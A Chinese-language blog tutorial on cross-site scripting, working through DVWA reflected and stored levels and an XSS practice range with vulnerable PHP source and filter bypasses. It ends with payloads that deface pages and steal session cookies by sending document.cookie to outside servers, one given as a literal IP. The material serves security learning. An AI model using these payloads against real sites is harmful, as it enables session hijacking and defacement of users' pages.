XSS实战

DVWA

一、xss注入的场景是一些论坛的留言板之类的,攻击者利用网页的漏洞写入程序脚本,当用户浏览的时候就会触发这个脚本。
reflected的xss只能是一次性的,而stored的xss是永久的,写入到留言板之后,就传入到服务器当中,当再有用户浏览时就会触发。
xss跟sql是非常想象的,最大的区别在于xss是前段,而sql是后端。且,xss很难获得webshell。
二、DVWA(low):

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?> 

没有任何过滤,直接写< script>alert(//xss)< /script>
成功
二、medium:查看源代码发现存在替换,但没有过滤大小写,所以

vulnerabilities/xss_r/source/medium.php
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?

< Script>alert(/xss/)< /Script>

三、stored(low)
在这里插入图片描述

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

查看源码发现没有任何防护,但是name长度有限制,可以使用hacker修改
在这里插入图片描述
修改maxlength为100在这里插入图片描述
然后直接XSS语句即可
二、stroed(medium)

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

发现过滤了script,但是没有过滤大小写。

XSS靶场(1~5)

一、
在这里插入图片描述
此题没有任何防护,且对传参方式没有任何限制,可以直接在url后添加< script>alert(1)< /script>,通关。
二、在这里插入图片描述

此题正常输入,发现不行,查看源码。

<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>

对于常用的符号进行了过滤,但是对于vaule没有进行任何防护,首先想到闭合。

"><script>alert(1)</script>

通关
三、在这里插入图片描述
查看源码

<h2 align=center>没有找到和&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;'>

本题对value也进行了过滤,采用onclick构造闭合

' οnclick='alert(1)

注意最后要点击一下输入框
四、
在这里插入图片描述
与上面一题相似,利用onclick函数构造闭合。

"οnclick="alert(1)

五、
在这里插入图片描述

<form action=level5.php method=GET>

查看源代码,由此可以可以构造超链接

<a  href=javascript:alert(‘xss’) > xss < /a >

本题得解

防护XSS

使用函数htmlspecialchars防御XSS
htmlspecialchars()函数可以把&.“”、',<,>这些经常在XSS语句中出现的符号转换为HTML实体。
&(和)转成& amp;
(双引号)转成&quot
<(小于)转成& lt; >(大于)转成 & gt;

绕过

对于htmlspecialchars()函数,可以采用二次编码

poc及exp

poc

最简单常用的poc

">

重定向到指定的url地址 οnmοuseοver=alert(document.domain) 闭合属性,构造on事件 οnmοusemοve=alert(1)

利用input的autofocus属性,无需用户交互即可触发xss.

htmlspecialchars:输入常用符号,看哪些符号没被实体编码。
如输入在herf或src里面:javascript:alert(1)
js输出,输入的数据由js变量接收,通过闭合即可
exp
< script>document.body.innerHTML=“< div style=visibility:visible;>< h1>THIS
WEBSITE IS UNDER ATTACK< /h1>< /div>”;< /script>

篡改页面,将页面篡改为< h1></ h1>里面显示的文字
< script>new Image().src=“http://yourhost/getcookie.php?
cookie=”+document.cookie;

将别人登录的cookie信息捕获到自己的服务器上
自己的服务器上编写一个接收cookie信息的php脚本getcookie.php
此脚本将接收到的cookie信息写入到自动创建的txt文本cookie.txt里面
< script>document.location=‘http://47.99.184.173/getcookie.php?cookie=’+document.cookie;
与上一个获取cookie信息的payload相似,相当于这是第二种获取cookie信息的exp

自己服务器上a,js的源码为:
var img = new Image();
img.src = “http://1.1.1.1/cookies.php?cookie=”+document.cookie;
获取cookie信息的第三种方式,这种方式的payload比较简短,便于很好的利用。
这种间接的方式,可以适用于所有的exp,将攻击代码放在服务器上的一个js文件里面,然后再漏洞点利用


版权声明:本文为weixin_53549425原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。